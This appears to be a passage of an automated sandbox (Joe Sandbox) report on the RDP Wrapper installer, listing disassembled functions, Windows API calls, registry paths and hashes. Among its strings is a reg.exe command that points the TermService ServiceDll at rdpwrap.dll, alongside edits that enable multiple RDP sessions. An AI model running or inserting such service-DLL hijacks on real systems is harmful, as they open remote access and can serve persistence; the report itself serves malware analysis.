$sD, xrefs: 0043E8CB, 0043E985, 0043EA30, 0043EAF0, 0043EB47, 0043EC07, 0043ECC7
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns, xrefs: 0043EABB, 0043EAD2
[-] OpenKey error (code , xrefs: 0043E8D0, 0043E98A, 0043EA35, 0043EAF5, 0043EB4C, 0043EC0C, 0043ECCC
\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core, xrefs: 0043E967
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 0043EA12
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\DND Redirector, xrefs: 0043EBE9
Name, xrefs: 0043EB89, 0043EC49
fDenyTSConnections, xrefs: 0043E90F
RDPDND, xrefs: 0043EC44
AllowMultipleTSSessions, xrefs: 0043EA6F
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Clip Redirector, xrefs: 0043EB29
\SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 0043E8AD
RDPClip, xrefs: 0043EB84
EnableConcurrentSessions, xrefs: 0043E9C4
Type, xrefs: 0043EB9B, 0043EC5B, 0043ED07
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VC, xrefs: 0043ECA9

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: $sD$AllowMultipleTSSessions$EnableConcurrentSessions$Name$RDPClip$RDPDND$Type$[-] OpenKey error (code $\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$\SYSTEM\CurrentControlSet\Control\Terminal Server$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Clip Redirector$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\DND Redirector$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VC$\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core$fDenyTSConnections
API String ID: 1452528299-1114397459
Opcode ID: 22b9b6838edb48365cdfb4778b466381cbf59e10845c44ab03fa5598231b4397
Instruction ID: d5bff1feb4e6776106dd90f858afd21f9f4463beb35b4115f94bb768dd44f540
Opcode Fuzzy Hash: 22b9b6838edb48365cdfb4778b466381cbf59e10845c44ab03fa5598231b4397
Instruction Fuzzy Hash: 97A16E70B052005BEB10BBBB984256E76A5DB8D308F51A47FF400A76D2CB3DAC05972E

Function 00408F6C Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 156
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,00409151,?,00000000), ref: 00408FA5
lstrcpynW.KERNEL32(?,00000000,00000105,00000000,00409151,?,00000000), ref: 00408FC1
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,00409151,?,00000000), ref: 00408FEE
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,00409151), ref: 0040900C
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?), ref: 0040902A
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 00409048
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000), ref: 00409088
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001), ref: 004090B3
RegQueryValueExW.ADVAPI32(?,00409208,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001), ref: 004090D7
RegQueryValueExW.ADVAPI32(?,00409208,00000000,00000000,?,?,?,00409208,00000000,00000000,00000000,?,?,?,00000000,00000000), ref: 00409100
RegCloseKey.ADVAPI32(?,0040913B,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001,Software\CodeGear\Locales), ref: 0040912E

Strings

Software\Borland\Delphi\Locales, xrefs: 0040903E
Software\CodeGear\Locales, xrefs: 00408FE4, 00409002
Software\Borland\Locales, xrefs: 00409020

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: OpenQueryValue$CloseFileModuleNamelstrcpyn
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales
API String ID: 3482678030-345420546
Opcode ID: b86ae2d81a9e05b6b7bf3f0ce843eb1dbeb4dae58668f089461cbe54660652d9
Instruction ID: 299ddb9754ebd29522f96ae12af661ce277d6f97d31c05324fadffe1222b4d16
Opcode Fuzzy Hash: b86ae2d81a9e05b6b7bf3f0ce843eb1dbeb4dae58668f089461cbe54660652d9
Instruction Fuzzy Hash: CA510071B40209BEEB10EAA5CD46FAE77BCEB48704F504477B604F61C2D6B8AE408A5D

Function 0043A7BC Relevance: 24.2, APIs: 2, Strings: 14, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,0043AA55,?,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443A16,00000000,00443FB2), ref: 0043A827
GetLastError.KERNEL32(00000000,0043AA55,?,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443A16,00000000,00443FB2), ref: 0043A91D

Part of subcall function 00438860: RegFlushKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 00438871
Part of subcall function 00438860: RegCloseKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 0043887A

Strings

$sD, xrefs: 0043A834, 0043A8B8, 0043A8D1, 0043A92A, 0043A9BF, 0043A9D8
ImagePath, xrefs: 0043A866
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043A906
rdpwrap.dll, xrefs: 0043A9AA, 0043AA27
ServiceDll, xrefs: 0043A95C
[*] ServiceDll: ", xrefs: 0043A9DD
svchost -k, xrefs: 0043A8A3
[-] OpenKeyReadOnly error (code , xrefs: 0043A839, 0043A92F
[*] ImagePath: ", xrefs: 0043A8D6
termsrv.dll, xrefs: 0043A98C
svchost.exe, xrefs: 0043A887
\SYSTEM\CurrentControlSet\Services\TermService, xrefs: 0043A810
[-] Another third-party TermService library is installed., xrefs: 0043A9C4
[-] TermService is hosted in a custom application (BeTwin, etc.) - unsupported., xrefs: 0043A8BD

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseFlush
String ID: $sD$ImagePath$ServiceDll$[*] ImagePath: "$[*] ServiceDll: "$[-] Another third-party TermService library is installed.$[-] OpenKeyReadOnly error (code $[-] TermService is hosted in a custom application (BeTwin, etc.) - unsupported.$\SYSTEM\CurrentControlSet\Services\TermService$\SYSTEM\CurrentControlSet\Services\TermService\Parameters$rdpwrap.dll$svchost -k$svchost.exe$termsrv.dll
API String ID: 1149308822-2563127478
Opcode ID: 3e349bb9003ee561f3f41bf2c4cd298ce689c8a6cca98ee662a00d79e13e63ec
Instruction ID: 1ac512ede3db6dba28468dccd327cdb8adfd53dd4df03d49c6afb8088628474e
Opcode Fuzzy Hash: 3e349bb9003ee561f3f41bf2c4cd298ce689c8a6cca98ee662a00d79e13e63ec
Instruction Fuzzy Hash: 01515774B442005BD700FBBA8D4255EB2659F8930CB51A43FB840BB796CB3CEC158AAF

Function 00408C28 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000,004095BB), ref: 00408C46
LeaveCriticalSection.KERNEL32(00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000), ref: 00408C6A
LeaveCriticalSection.KERNEL32(00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000), ref: 00408C79
IsValidLocale.KERNEL32(00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000), ref: 00408C8D
EnterCriticalSection.KERNEL32(00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?), ref: 00408CEA
lstrcpynW.KERNEL32(en-GB,en,en-US,,00000000,000000AA,00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540), ref: 00408D08
LeaveCriticalSection.KERNEL32(00449B54,en-GB,en,en-US,,00000000,000000AA,00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000), ref: 00408D12

Strings

en-GB,en,en-US,, xrefs: 00408C56, 00408D03

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValidlstrcpyn
String ID: en-GB,en,en-US,
API String ID: 1058953229-3021119265
Opcode ID: f5c0c5a953935993f8144897554dda3b04a66e7f6cf498fae83c5be40df86a5b
Instruction ID: 9b1ce77b3c0781b783b438d4c88a1dd796634ce3a4aca31124bb85a30b48e6d3
Opcode Fuzzy Hash: f5c0c5a953935993f8144897554dda3b04a66e7f6cf498fae83c5be40df86a5b
Instruction Fuzzy Hash: B321AE203042556AEB50B77A9E57B6A2169EF4570CF60443FB481B72D2CEBCAC04E22E

Function 0043C1C8 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1CF
GetLastError.KERNEL32(00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1DA
TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000), ref: 0043C219
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C223
GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C228
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,0000061C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C265

Strings

$sD, xrefs: 0043C1E7, 0043C235
[-] OpenProcess error (code , xrefs: 0043C1EC
[-] TerminateProcess error (code , xrefs: 0043C23A

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLastProcess$OpenTerminate
String ID: $sD$[-] OpenProcess error (code $[-] TerminateProcess error (code
API String ID: 1809907545-775158141
Opcode ID: 6f554e20b072eb6f5660c25ac1f2be49616fb729524d0b6480b7b10d1be33d93
Instruction ID: c032a40b630c9990863936c46c82d74717666648ea03c3b6a4bb658b84b7f9ba
Opcode Fuzzy Hash: 6f554e20b072eb6f5660c25ac1f2be49616fb729524d0b6480b7b10d1be33d93
Instruction Fuzzy Hash: EB01F6A5B442111AE610B3FB0D82B2F255A8F8A75CF02917FB504B62D7CA3C9C11977F

Function 0040472C Relevance: 15.1, APIs: 10, Instructions: 129
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047B5
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047D9
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047F5
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000), ref: 00404816
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 0040483F
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 0040484D
GetStdHandle.KERNEL32(000000F5), ref: 00404888
GetFileType.KERNEL32(?,000000F5), ref: 0040489E
CloseHandle.KERNEL32(?,?,000000F5), ref: 004048B9
GetLastError.KERNEL32(000000F5), ref: 004048D1

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 88c077e9ec81b413e44c4e0d06344b1548c794062b539f639d5ca81acda773dd
Instruction ID: de0dc4671a2c55deed7a27a48df34c8c3110be8be3acd5b577aa359944728292
Opcode Fuzzy Hash: 88c077e9ec81b413e44c4e0d06344b1548c794062b539f639d5ca81acda773dd
Instruction Fuzzy Hash: EA4183B5500A40A9E730BF24C90972376E4EBC0714F20CE3FE692B66D0E7BDA845878D

Function 0043C31C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 70
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C37B
GetLastError.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C384
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C3BB
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC), ref: 0043C3C6
CloseHandle.KERNEL32(?,?,000000FF,?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC), ref: 0043C3CF

Strings

$sD, xrefs: 0043C38D
[-] CreateProcess error (code: , xrefs: 0043C392
D, xrefs: 0043C34D

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastObjectProcessSingleWait
String ID: $sD$D$[-] CreateProcess error (code:
API String ID: 1377960556-1026335874
Opcode ID: 58e4cee0019deaf83b36aa1437f8aa0207d0818498334e5e25efdc6c94b6a7a4
Instruction ID: 1d017b2d671d3512e5dabab7732e068b99e5a835ee42228d460eb482b244bc14
Opcode Fuzzy Hash: 58e4cee0019deaf83b36aa1437f8aa0207d0818498334e5e25efdc6c94b6a7a4
Instruction Fuzzy Hash: D21151B0644204AADB00F7E5CD82F9E77B89F49714F61453BF610F61D2D67CA910972E

Function 00403028 Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,00402C9A), ref: 004030BE
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,00402C9A), ref: 004030D8

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 93a1e75d392f98f45c217d5d1b4a4ce21d939f5f7de44ee49ef913328a692d58
Instruction ID: 8e11df8688fcfc32dba15f0401baaa5f3e1cf13b6ab2085a37f93781684c6a2f
Opcode Fuzzy Hash: 93a1e75d392f98f45c217d5d1b4a4ce21d939f5f7de44ee49ef913328a692d58
Instruction Fuzzy Hash: 9F7115312052009FD715CF69CE89726BFE4AB89315F14827FD444AB3D6D7B889458789

Function 0043C598 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,0043C716,?,?,?,00447324,00000000,00000000,00000000,?,00443BC6,00000000,00443FB2), ref: 0043C600

Strings

\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d ", xrefs: 0043C68F
$sD, xrefs: 0043C60D
" /f, xrefs: 0043C69A
[-] OpenKey error (code , xrefs: 0043C612
ServiceDll, xrefs: 0043C650
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043C5EF
%SystemRoot%, xrefs: 0043C682

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: " /f$$sD$%SystemRoot%$ServiceDll$[-] OpenKey error (code $\SYSTEM\CurrentControlSet\Services\TermService\Parameters$\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "
API String ID: 1452528299-2956723230
Opcode ID: 0c5b84642f90c2c43a864384322aaebdce3b992f712f0d9bf057b86ee0e3b406
Instruction ID: 86ae2d0f633f2b7d457566c29c3046f730a81976c8e7ce91198a0ccb689aa4bb
Opcode Fuzzy Hash: 0c5b84642f90c2c43a864384322aaebdce3b992f712f0d9bf057b86ee0e3b406
Instruction Fuzzy Hash: B331DE74A04204AFDB10FB66CC82A2E77A5DB4D308F61A07BF800B7291CB3CAD049B5D

Function 00402CA4 Relevance: 9.0, APIs: 7, Instructions: 298sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,00402C72), ref: 00402D5B
Sleep.KERNEL32(0000000A,00000000,?,00402C72), ref: 00402D71
Sleep.KERNEL32(00000000,?,?,?,00402C72), ref: 00402D9F
Sleep.KERNEL32(0000000A,00000000,?,?,?,00402C72), ref: 00402DB5

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 50f8b12719e1c4c784f8227bf124f2ef405a8e2e831e3cb3860c1e75e50a0c63
Instruction ID: 31c3f393645164f4675e576557a9223240219fe3669f0ad713ca74d6ded16897
Opcode Fuzzy Hash: 50f8b12719e1c4c784f8227bf124f2ef405a8e2e831e3cb3860c1e75e50a0c63
Instruction Fuzzy Hash: B4C147766052518FD715CF28DE8831ABBE0AB86314F1882BFD444BB3D5C7B89946CBD8

Function 0040941C Relevance: 6.1, APIs: 4, Instructions: 118stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409497
lstrlenW.KERNEL32(?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 004094A3
GetUserDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409530
GetSystemDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 0040955C

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DefaultLanguage$SystemUserlstrcpynlstrlen
String ID:
API String ID: 3749826553-0
Opcode ID: d710f7c1299fe0245be1f89c25ed315f3e3ffeabd22d09ed061d9454a6b695c6
Instruction ID: 670d7e8fee0ffa615f00d819e5c077188fbd82142d60affd8ce3058b6d31cf6a
Opcode Fuzzy Hash: d710f7c1299fe0245be1f89c25ed315f3e3ffeabd22d09ed061d9454a6b695c6
